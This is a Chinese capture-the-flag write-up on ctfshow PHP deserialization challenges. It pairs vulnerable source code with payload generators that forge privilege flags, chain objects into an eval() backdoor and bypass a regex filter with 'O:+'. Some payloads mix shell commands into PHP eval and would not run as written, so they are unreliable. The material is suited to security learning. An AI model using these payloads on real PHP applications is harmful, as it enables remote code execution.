include('flag.php');

class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}

分析:此题和上题目代码差不多,unserialize($_COOKIE[‘user’]) 再加一个 user 参数

1
2
3
4
5
6
7
8
9
10
11
payload:
<?php
class ctfShowUser{
public $username="xxxxx";
public $password="xxxxx";
public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
echo serialize($c);
?>
1
2
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
O:11:"ctfShowUser":3:{s:8:"username";s:5:"xxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}
1
2
get:?username=xxxxx&password=xxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

image

15.题目15

web256.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password) {
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip())
$user->vipOneKeyGetFlag();
}else{
echo "no vip,no flag";
}
}
?>

此题在前面的基础上添加了 if($this->username!==$this->password) ,要求 username 和 password 不相等。

payload:

1
2
3
4
5
6
7
8
9
10
<?php
class ctfShowUser{
public $username="xxxxx";
public $password="cc";
public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
// echo serialize($c);
?>

image

image

16.题目16

web257.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxx';
private $password='xxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}

class info{
private $user='xxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

?>

有3个类:ctfShowUserinfobackDoor

其中 backDoor 类中 getInfo() 函数中的 eval() 函数可以作为pop链终点,执行任意命令。

要执行 eval($this->code) ,可以给code赋值为执行任意代码的值。且需要调用 backDoor 的 getInfo() 方法。找到了 ctfShowUser 类的 destruct() 方法可以调用到他。我们就需要让 $this->class 为 backDoor 类的对象就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();//改写属性,让其构造危险实例
}
}
class backDoor{
public $code='cat flag.php';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>

17.题目17

web258.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class ctfShowUser{
public $username='xxxxx';
public $password='xxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}

class info{
public $user='xxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])) {
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
?>
1
2
3
4
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
表示user不能有 o:数字:或者c:数字:,并且不论o或c是大小写都匹配
如果O:或C:后面不跟数字的话就可以把这个绕过去了
可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();//改写属性,让其构造危险实例
}
}
class backDoor{
public $code='phpinfo();';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>

序列化后得到

1
O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}

这里把O:后面加上一个加号

1
2
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
之后再url编码再使用
1
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:8:"tac flag";}}

image

18.题目18

web260.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))) {
echo $flag;
}

preg_match(): 表示序列化后的字符串满足 ctfshow_i_love_36D ,会返回 $flag 的值。

image

字符串逃逸:

https://www.cnblogs.com/M0urn/articles/17761214.html

https://www.bilibili.com/video/BV1Ry4y1e7x9/?spm_id_from=333.337.search-card.all.click&vd_source=62573cb67de72cd02730a59836e6f252

参考链接:

https://blog.csdn.net/m0_74013288/article/details/134360039